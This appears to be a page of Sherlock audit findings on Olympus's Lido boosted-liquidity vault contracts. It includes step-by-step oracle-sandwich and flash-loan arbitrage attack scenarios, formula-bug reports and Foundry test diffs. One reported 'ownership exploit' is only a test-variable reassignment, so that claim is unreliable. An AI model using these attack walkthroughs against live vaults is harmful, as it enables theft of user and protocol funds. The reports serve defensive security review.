We suggest changing the parameter in the getReward() function on line 265 from owner() to address(this). For example:
/// @inheritdoc IBLVaultLido
function claimRewards() external override onlyWhileActive onlyOwner nonReentrant {
// Claim rewards from Aura
auraRewardPool().getReward(address(this), true);
// Send rewards to owner
_sendRewards();
}Duplicate of #21
RaymondFam - Increased `getTknOhmPrice()` not catered for
RaymondFam
high
Increased getTknOhmPrice() not catered for
Summary
The contract checks on the withdrawn ratios of OHM and wstETH against the current oracle price and takes any wstETH shifted imbalance as a fee to the treasury but it fails to cater for getTknOhmPrice() increase in pricing.
When getTknOhmPrice() increases, the system can be gamed while making a flash arbitrage gain.
Vulnerability Detail
Here is a typical scenario, assuming the pool has been initiated with total LP equal to sqrt(100_000 * 1_000) = 10_000. (Note: OHM: $15, wstETH: $1500 with the pool pricing match up with manager.getOhmTknPrice() or manager.getTknOhmPrice(), i.e. 100 OHM to 1 wstETH or 0.01 wstETH to 1 OHM. The pool token balances in each step below may be calculated via the Constant Product Simulation after each swap and stake.)
OHM token balance: 100_000
wstETH token balance: 1_000
Total LP: 10_000
-
Bob calls deposit() by providing 10 wstETH where 1000 OHM is minted. Bob successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP.
OHM token balance: 101_000
wstETH token balance: 1_010
Total LP: 10_100
Bob's LP: 100 -
Alice also calls deposit() by providing 10 wstETH with 1000 OHM. She successfully stakes all of the 1000 OHM and 10 wstETH and proportionately receives 100 LP too.
OHM token balance: 102_000
wstETH token balance: 1_020
Total LP: 10_200
Bob's LP: 100
Alice's LP: 100 -
The pool has been well balanced at all time when suddenly there is a significant price drop in wstETH in the market (OHM: $15, wstETH: $1200).
manager.getTknOhmPrice()is now 0.0125 (instead of the previous 0.01) wstETH per 1 OHM. -
Bob exits the pool by removing all of his LP where he receives back 1000 OHM (burned) and 10 full wstETH since expectedWstethAmountOut is 1000 * 0.0125 = 12.5 (> 10).
OHM token balance: 101_000
wstETH token balance: 1_010
Total LP: 10_100
Bob's LP: 0
Alice's LP: 100 -
However, Alice, an avid staker, uses a flash loan to swap 100 wstETH for 9099.1 OHM to first make a profit of 9099.1 * 15 - 100 * 1200 = $16486.50.
OHM token balance: 91_900.9
wstETH token balance: 1_110
Total LP: 10_100
Bob's LP: 0
Alice's LP: 100 -
Next, Alice's LP is fully withdrawn where 909.91 OHM is received and burned while 10.99 wstETH is fully transferred to the user because getTknOhmPrice() is now 0.0125 wstETH per OHM, i.e. wstethAmountOut < expectedWstethAmountOut making wstethToReturn == wstethAmountOut.
OHM token balance: 90_990.99
wstETH token balance: 1_099.01
Total LP: 10_000
Bob's LP: 0
Alice's LP: 0
Impact
Although Bob did not make any losses and has earned some rewards, Alice in contrast to Bob's action, has received an extra 10.99 - 10 = 0.99 wstETH all because the system can now be gamed without any penalty to the treasury while reaping a sizable flash swap profit of $16486.50 in step 5 .
Code Snippet
File: BLVaultLido.sol#L143-L200
File: BLVaultLido.sol#L203-L256
Tool used
Manual Review
Recommendation
Consider restructuring the withdrawn ratios check if this is not intended to happen. For instance, an added check may be implemented checking whether or not the pool has been imbalanced. If it has been, the existing check should trigger an added slash commensurate with the amount of shift incurred. But this may not be the perfect fix since Alice could dodge it using two separate transactions instead of atomically.
ABA - `OHM` to `wstETH` price is incorrectly calculated
ABA
medium
OHM to wstETH price is incorrectly calculated
Summary
The price of OHM, relative to wstETH, which is used throughout the project, is calculated incorrectly because of wrong Chainlink stream pair used.
Vulnerability Detail
OHM to token price is calculated in the function getOhmTknPrice
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L440
function getOhmTknPrice() public view override returns (uint256) {The function takes the following token price pairs:
- stETH/wstETH ->
stethPerWsteth - ETH/OHM ->
ethPerOhm - stETH/ETH ->
stethPerEth
and combines them with the intent to translated into OHM/wstETH.
// Calculate OHM per wstETH (9 decimals)
return (stethPerWsteth * stethPerEth) / (ethPerOhm * 1e9);Here is the issue, because the correct pairs are not used and results in a different price then intended. To better illustrate this will replace the above formula with the token denominations only:
- take the
ethPerOhmto the right for better visibility
- replace each variable with it's denominations
- reverse the
ETH/OHMfraction
- do some basic, allowed, positional changes and highlighting the fraction of interest in parentheses
It can be seen in the final result that the desired value OHM/wstETH would only be achieved if in the original formula we had stethPerEth replaces with a ethPerSteth (ETH/stETH) equivalent:
return (stethPerWsteth * ethPerSteth) / (ethPerOhm * 1e9);Impact
OHM/wstETH price is calculated incorrect. By not reflecting the correct price the protocol can suffer losses due to arbitrage/unexpected price fluctuations.
Instead of the stETH to ETH price stream, the correct stream would of been ETH to stETH. Since both are ETH equivalents they tend to not vary much, as such, the price fluctuations would not be sever but would still pose an issue.
Code Snippet
Tool used
Manual Review
Recommendation
The simples solution would be to use a ETH/stETH Chainlink price stream, unfortunately one does not exist
https://docs.chain.link/data-feeds/price-feeds/addresses/
Instead, use other, intermediate, price streams to arrive at the desired price.
0x52 - Adversary can sandwich oracle updates to exploit vault
0x52
high
Adversary can sandwich oracle updates to exploit vault
Summary
BLVaultLido added a mechanism to siphon off all wstETH obtained from mismatched pool and oracle prices. This was implemented to fix the problem that the vault could be manipulated to the attackers gain. This mitigation however does not fully address the issue and the same issue is still exploitable by sandwiching oracle update.
Vulnerability Detail
uint256 wstethOhmPrice = manager.getTknOhmPrice();
uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;
// Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
? expectedWstethAmountOut
: wstethAmountOut;
if (wstethAmountOut > wstethToReturn)
wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);
In the above lines we can see that the current oracle price is used to calculate the expected amount of wstETH to return to the user. In theory this should prevent the attack but an attacker can side step this sandwiching the oracle update.
Example:
The POC is very similar to before except now it's composed of two transactions sandwiching the oracle update. Chainlink oracles have a tolerance threshold of 0.5% before updating so we will use that as our example value. The current price is assumed to be 0.995 wstETH/OHM. The oracle price (which is about to be updated) is currently 1:1
Transaction 1:
Balances before attack (0.995:1)
Liquidity: 79.8 OHM 80.2 wstETH
Adversary: 20 wstETH
Swap OHM so that pool price matches pre-update oracle price:
Liquidity: 80 OHM 80 wstETH
Adversary: -0.2 OHM 20.2 wstETH
Balances after adversary has deposited to the pool:
Liquidity: 100 OHM 100 wstETH
Adversary: -0.2 OHM 0.2 wstETH
Balances after adversary sells wstETH for OHM (0.5% movement in price):
Liquidity: 99.748 OHM 100.252 wstETH
Adversary: 0.052 OHM -0.052 wstETH
Sandwiched Oracle Update:
Oracle updates price of wstETH to 0.995 OHM. Since the attacker already sold wstETH to balance
the pool to the post-update price they will be able to withdraw the full amount of wstETH.
Transaction 2:
Balances after adversary removes their liquidity:
Liquidity: 79.798 OHM 80.202 wstETH
Adversary: 0.052 OHM 19.998 wstETH
Balances after selling profited OHM:
Liquidity: 79.849 OHM 80.152 wstETH
Adversary: 20.05 wstETH
As shown above it's still profitable to exploit the vault by sandwiching the oracle updates. With each oracle update the pool can be repeatedly attacked causing large losses.
Impact
Vault will be attacked repeatedly for large losses
Code Snippet
Tool used
Manual Review
Recommendation
To prevent this I would recommend locking the user into the vault for some minimum amount of time (i.e. 24 hours)
0x4non - `getOhmSupplyChangeData` will return incorrect values due shadowed variables
0x4non
high
getOhmSupplyChangeData will return incorrect values due shadowed variables
Summary
The getOhmSupplyChangeData function of a given contract, where the variables deployedOhm and circulatingOhmBurned are shadowed, causing the function to always return 0 for these variables.
Vulnerability Detail
The getOhmSupplyChangeData function returns three variables: poolOhmShare, deployedOhm, and circulatingOhmBurned. However, the deployedOhm and circulatingOhmBurned variables in the function signature are shadowing the contract-level variables with the same names. This results in the function always returning 0 for both deployedOhm and circulatingOhmBurned.
Impact
The getOhmSupplyChangeData function will not return accurate values for deployedOhm and circulatingOhmBurned. This may cause incorrect calculations or decision-making based on the returned data, which could negatively affect the contract's functionality or user experience.
Code Snippet
POC
diff --git a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
index eb240b1..d51bbe2 100644
--- a/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
+++ b/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
@@ -459,6 +459,47 @@ contract BLVaultManagerLidoTest is Test {
vm.stopPrank();
}
+ function testCorrectness_ohmSupplyChangeDataFromVaultCorrectlyUpdatesState(uint256 amount_) public {
+ vm.assume(amount_ != 0 && amount_ <= 100_000_000e9);
+
+ // Setup
+ address validVault = _createVault();
+ vaultManager.setLimit(50_000_000e9);
+
+ // Mint base amount
+ vm.startPrank(address(vaultManager));
+ minter.increaseMintApproval(address(vaultManager), 50_000_000e9);
+ minter.mintOhm(validVault, 50_000_000e9);
+ vm.stopPrank();
+
+ vm.startPrank(validVault);
+ vaultManager.mintOhmToVault(50_000_000e9);
+ ohm.increaseAllowance(address(minter), 100_000_000e9);
+
+ // Check state before
+ assertEq(vaultManager.deployedOhm(), 50_000_000e9);
+ assertEq(vaultManager.circulatingOhmBurned(), 0);
+
+ vaultManager.burnOhmFromVault(amount_);
+
+ // Check state after
+ if (amount_ > 50_000_000e9) {
+ assertEq(vaultManager.deployedOhm(), 0);
+ assertEq(vaultManager.circulatingOhmBurned(), amount_ - 50_000_000e9);
+ } else {
+ assertEq(vaultManager.deployedOhm(), 50_000_000e9 - amount_);
+ assertEq(vaultManager.circulatingOhmBurned(), 0);
+ }
+
+ (uint256 _poolOhmShare, uint256 _deployedOhm, uint256 _circulatingOhmBurned) = vaultManager.getOhmSupplyChangeData();
+ assertEq(_poolOhmShare, vaultManager.getPoolOhmShare());
+ assertEq(_deployedOhm, vaultManager.deployedOhm());
+ assertEq(_circulatingOhmBurned, vaultManager.circulatingOhmBurned());
+
+ vm.stopPrank();
+ }
+
+
function testCorrectness_burnOhmFromVaultBurnsFromCorrectAddress() public {
address validVault = _createVault();Tool used
Manual Review
Recommendation
diff --git a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
index 9013392..d104037 100644
--- a/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
+++ b/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol
@@ -425,15 +425,16 @@ contract BLVaultManagerLido is Policy, IBLVaultManagerLido, RolesConsumer {
external
view
override
- returns (uint256 poolOhmShare, uint256 deployedOhm, uint256 circulatingOhmBurned)
+ returns (uint256 poolOhmShare_, uint256 deployedOhm_, uint256 circulatingOhmBurned_)
{
// Net emitted is the amount of OHM that was minted to the pool but is no longer in the
// pool beyond what has been burned in the past. Net removed is the amount of OHM that is
// in the pool but wasn’t minted there plus what has been burned in the past. Here we just return
// the data components to calculate that.
- uint256 currentPoolOhmShare = getPoolOhmShare();
- return (currentPoolOhmShare, deployedOhm, circulatingOhmBurned);
+ poolOhmShare_ = getPoolOhmShare();
+ deployedOhm_ = deployedOhm;
+ circulatingOhmBurned_ = circulatingOhmBurned;
}
/// @inheritdoc IBLVaultManagerLidoDuplicate of #26
0x52 - minTokenAmounts_ is useless in new configuration and doesn't provide any real slippage protection
0x52
high
minTokenAmounts_ is useless in new configuration and doesn't provide any real slippage protection
Summary
BLVaultLido#withdraw skims off extra stETH from the user that results from oracle arb. The problem with this is that minTokenAmounts_ no longer provides any slippage protection because it only ensures that enough is received from the liquidity pool but never enforces how much is received by the user.
Vulnerability Detail
_exitBalancerPool(lpAmount_, minTokenAmounts_);
// Calculate OHM and wstETH amounts received
uint256 ohmAmountOut = ohm.balanceOf(address(this)) - ohmBefore;
uint256 wstethAmountOut = wsteth.balanceOf(address(this)) - wstethBefore;
// Calculate oracle expected wstETH received amount
// getTknOhmPrice returns the amount of wstETH per 1 OHM based on the oracle price
uint256 wstethOhmPrice = manager.getTknOhmPrice();
uint256 expectedWstethAmountOut = (ohmAmountOut * wstethOhmPrice) / _OHM_DECIMALS;
// Take any arbs relative to the oracle price for the Treasury and return the rest to the owner
uint256 wstethToReturn = wstethAmountOut > expectedWstethAmountOut
? expectedWstethAmountOut
: wstethAmountOut;
if (wstethAmountOut > wstethToReturn)
wsteth.safeTransfer(TRSRY(), wstethAmountOut - wstethToReturn);
// Burn OHM
ohm.increaseAllowance(MINTR(), ohmAmountOut);
manager.burnOhmFromVault(ohmAmountOut);
// Return wstETH to owner
wsteth.safeTransfer(msg.sender, wstethToReturn);
minTokenAmounts_ only applies to the removal of liquidity. Since wstETH is skimmed off to the treasury the user no longer has any way to protect themselves from slippage. As shown in my other submission, oracle slop can lead to loss of funds due to this skimming.
Impact
Users cannot protect themselves from oracle slop/wstETH skimming
Code Snippet
Tool used
Manual Review
Recommendation
Allow the user to specify the amount of wstETH they receive AFTER the arb is skimmed.
fat32 - Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
fat32
medium
Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
Summary
Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
The following test case should fail and revert, but does not when I use change owner exploit.
a. deploy vault fails if user already has vault
Please see the POC below which I used Foundry for.
The impact is that I am able to regain ownership and VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)Vulnerability Detail
https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L197-L232Impact
Unauthorised Change Of Ownership after deploy vault function in BLVaultManagerLido.sol
The following test case should fail and revert, but does not when I use change owner exploit.
a. deploy vault fails if user already has vault
Please see the POC below which I used Foundry for.
The impact is that I am able to regain ownership and VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)Code Snippet
POC File
src/2023-03-olympus-0xtr3/sherlock-olympus/src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol// POC
// 1. update test file named BLVaultManagerLidoMocks.t.sol for the function below by replacing function named
// testCorrectness_deployVaultFailsIfUserAlreadyHasVault with the following.
// declarations
address internal alice;
address internal bob;
address internal duke;
// setup()
userCreator = new UserFactory();
address[] memory users = userCreator.create(3);
alice = users[0];
bob = users[1];
duke = users[2];
function testCorrectness_deployVaultFailsIfUserAlreadyHasVault() public {
// Create first vault
vm.prank(alice);
vaultManager.deployVault();
bytes memory err = abi.encodeWithSignature("BLManagerLido_VaultAlreadyExists()");
vm.expectRevert(err);
// Try to create second vault
alice = bob; // fat32 change owner
vm.prank(alice);
vaultManager.deployVault();
}# 2. run command below
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol# Log
# 3. log file results of changed ownership
forge test -vvv --match-path src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol
[⠰] Compiling...
No files changed, compilation skipped
Running 39 tests for src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol:BLVaultManagerLidoTest
[PASS] testCorrectness_activateCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17510, ~: 17510)
[PASS] testCorrectness_activateCorrectlySetsIsLidoBLVaultActive() (gas: 53382)
[PASS] testCorrectness_burnOhmFromVaultBurnsFromCorrectAddress() (gas: 304800)
[PASS] testCorrectness_burnOhmFromVaultCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 306957, ~: 306942)
[PASS] testCorrectness_burnOhmFromVaultCorrectlyUpdatesState(uint256) (runs: 256, μ: 394749, ~: 394747)
[PASS] testCorrectness_burnOhmFromVaultFailsWhenBLInactive() (gas: 38950)
[PASS] testCorrectness_changeUpdateThresholdsCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17792, ~: 17792)
[PASS] testCorrectness_changeUpdateThresholdsCorrectlySetsThresholds(uint48,uint48) (runs: 256, μ: 26206, ~: 26217)
[PASS] testCorrectness_deactivateCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17597, ~: 17597)
[PASS] testCorrectness_deactivateCorrectlySetsIsLidoBLVaultActive() (gas: 40575)
[PASS] testCorrectness_decreaseTotalLpCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 221940, ~: 221940)
[PASS] testCorrectness_decreaseTotalLpCorrectlyDecreasesValue(uint256) (runs: 256, μ: 219312, ~: 219312)
[PASS] testCorrectness_decreaseTotalLpFailsWhenBLInactive() (gas: 38881)
[PASS] testCorrectness_deployVaultCanBeCalledByAnyone(address) (runs: 256, μ: 209697, ~: 209697)
[PASS] testCorrectness_deployVaultCorrectlyClonesVault() (gas: 245698)
[PASS] testCorrectness_deployVaultCorrectlyTracksVaultState(address) (runs: 256, μ: 212169, ~: 212169)
[FAIL. Reason: Call did not revert as expected] testCorrectness_deployVaultFailsIfUserAlreadyHasVault() (gas: 391201)
Traces:
[391201] BLVaultManagerLidoTest::testCorrectness_deployVaultFailsIfUserAlreadyHasVault()
├─ [0] VM::prank(0xfAd8712De4330B640064CFA05d0A29978DEa11C6)
│ └─ ← ()
├─ [201301] BLVaultManagerLido::deployVault()
│ ├─ [67482] → new <Unknown>@0x269C4753e15E47d7CaD8B230ed19cFff21f29D51
│ │ └─ ← 337 bytes of code
│ ├─ [25020] 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51::initializeClone()
│ │ ├─ [22293] BLVaultLido::initializeClone() [delegatecall]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ emit VaultDeployed(vault: 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51, owner: 0xfAd8712De4330B640064CFA05d0A29978DEa11C6, fee: 0)
│ └─ ← 0x269C4753e15E47d7CaD8B230ed19cFff21f29D51
├─ [0] VM::expectRevert(BLManagerLido_VaultAlreadyExists())
│ └─ ← ()
├─ [0] VM::prank(0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24)
│ └─ ← ()
├─ [172801] BLVaultManagerLido::deployVault()
│ ├─ [67482] → new <Unknown>@0x84331fdf4F2974B3Cb6D8003584CE74f62599F38
│ │ └─ ← 337 bytes of code
│ ├─ [22520] 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38::initializeClone()
│ │ ├─ [22293] BLVaultLido::initializeClone() [delegatecall]
│ │ │ └─ ← ()
│ │ └─ ← ()
│ ├─ emit VaultDeployed(vault: 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38, owner: 0x7Acb0F51F1b2a820F3bfdfE164D0D67C9f2f7D24, fee: 0)
│ └─ ← 0x84331fdf4F2974B3Cb6D8003584CE74f62599F38
└─ ← "Call did not revert as expected"
[PASS] testCorrectness_deployVaultFailsWhenBLInactive() (gas: 38896)
[PASS] testCorrectness_getLpBalance() (gas: 559829)
[PASS] testCorrectness_getMaxDeposit() (gas: 355082)
[PASS] testCorrectness_getOhmTknPrice() (gas: 35586)
[PASS] testCorrectness_getRewardRate() (gas: 17236)
[PASS] testCorrectness_getRewardTokens() (gas: 23926)
[PASS] testCorrectness_getTknOhmPrice() (gas: 35674)
[PASS] testCorrectness_getUserPairShare() (gas: 580147)
[PASS] testCorrectness_increaseTotalLpCanOnlyBeCalledByAnApprovedVault(address) (runs: 256, μ: 240133, ~: 240133)
[PASS] testCorrectness_increaseTotalLpCorrectlyIncreasesValue(uint256) (runs: 256, μ: 236468, ~: 237324)
[PASS] testCorrectness_increaseTotalLpFailsWhenInactive() (gas: 38950)
[PASS] testCorrectness_mintOhmToVaultCanOnlyBeCalledByApprovedVault(address) (runs: 256, μ: 324238, ~: 324238)
[PASS] testCorrectness_mintOhmToVaultCannotMintBeyondLimit(uint256) (runs: 256, μ: 279676, ~: 321051)
[PASS] testCorrectness_mintOhmToVaultFailsWhenBLInactive() (gas: 38906)
[PASS] testCorrectness_mintOhmToVaultIncreasesDeployedOhmValue(uint256) (runs: 256, μ: 322874, ~: 322874)
[PASS] testCorrectness_mintOhmToVaultMintsToCorrectAddress() (gas: 323738)
[PASS] testCorrectness_setFeeCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17682, ~: 17682)
[PASS] testCorrectness_setFeeCannotSetFeeAbove100(uint64) (runs: 256, μ: 17081, ~: 17081)
[PASS] testCorrectness_setFeeCorrectlySetsFee(uint64) (runs: 256, μ: 22193, ~: 22412)
[PASS] testCorrectness_setLimitCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17582, ~: 17582)
[PASS] testCorrectness_setLimitCannotSetLimitBelowCurrentDeployedOhm() (gas: 328913)
[PASS] testCorrectness_setLimitCorrectlySetsLimit(uint256) (runs: 256, μ: 21151, ~: 21320)
Test result: FAILED. 38 passed; 1 failed; finished in 95.86ms
Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol:BLVaultManagerLidoTest
[FAIL. Reason: Call did not revert as expected] testCorrectness_deployVaultFailsIfUserAlreadyHasVault() (gas: 391201)
Encountered a total of 1 failing tests, 38 tests succeededTool used
Foundry + Visual Studio CodeManual Review
Recommendation
To validate owner, use require statement and not if statement.0x52 - Users can abuse discrepancies between oracle and true asset price to mint more OHM than needed and profit from it
0x52
high
Users can abuse discrepancies between oracle and true asset price to mint more OHM than needed and profit from it
Summary
All chainlink oracles have a deviation threshold between the current price of the asset and the on-chain price for that asset. The more oracles used for determining the price the larger the total discrepancy can be. These can be combined and exploited to mint more OHM than expected and profit.
Vulnerability Detail
uint256 ohmWstethPrice = manager.getOhmTknPrice();
uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;
// Block scope to avoid stack too deep
{
// Cache OHM-wstETH BPT before
uint256 bptBefore = liquidityPool.balanceOf(address(this));
// Transfer in wstETH
wsteth.safeTransferFrom(msg.sender, address(this), amount_);
// Mint OHM
manager.mintOhmToVault(ohmMintAmount);
// Join Balancer pool
_joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);
The amount of OHM to mint and deposit is determined by the calculated price from the on-chain oracle prices.
uint256[] memory maxAmountsIn = new uint256[](2);
maxAmountsIn[0] = ohmAmount_;
maxAmountsIn[1] = wstethAmount_;
JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
assets: assets,
maxAmountsIn: maxAmountsIn,
userData: abi.encode(1, maxAmountsIn, minLpAmount_),
fromInternalBalance: false
});
To make the issue worse, _joinBalancerPool use 1 for the join type. This is the EXACT_TOKENS_IN_FOR_BPT_OUT method of joining. What this means is that the join will guaranteed use all input tokens. If the current pool isn't balanced in the same way then the join request will effectively swap one token so that the input tokens match the current pool. Now if the ratio is off then too much OHM will be minted and will effectively traded for wstETH. This allows the user to withdraw at a profit once the oracle has been updated the discrepancy is gone.
Impact
Users can always time oracles so that they enter at an advantageous price and the deficit is paid by Olympus with minted OHM
Code Snippet
Tool used
Manual Review
Recommendation
The vault needs to have withdraw and/or deposit fees to make attacks like this unprofitable.
Bauer - Incorrect getTknOhmPrice() function implementation
Bauer
high
Incorrect getTknOhmPrice() function implementation
Summary
Incorrect getTknOhmPrice() function implementation
Vulnerability Detail
The getTknOhmPrice() implementation is incorrect.
function getTknOhmPrice() public view override returns (uint256) {
// Get stETH per wstETH (18 Decimals)
uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();
// Get ETH per OHM (18 Decimals)
uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);
// Get stETH per ETH (18 Decimals)
uint256 stethPerEth = _validatePrice(
stethEthPriceFeed.feed,
stethEthPriceFeed.updateThreshold
);
// Calculate wstETH per OHM (18 decimals)
return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
}Asumue:
1 wstETH = 10 stETH
1 OHM = 2 ETH
1 ETH = 5 stETH
Then, 1 OHM = 25/10 wstETH.
However, the result of the protocol calculation is 2/(105). This is incorrect.
Impact
Function getTknOhmPrice() implementation is incorrect.
Code Snippet
Tool used
Manual Review
Recommendation
return (ethPerOhm * stethPerEth) / stethPerWsteth;
Duplicate of #42
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.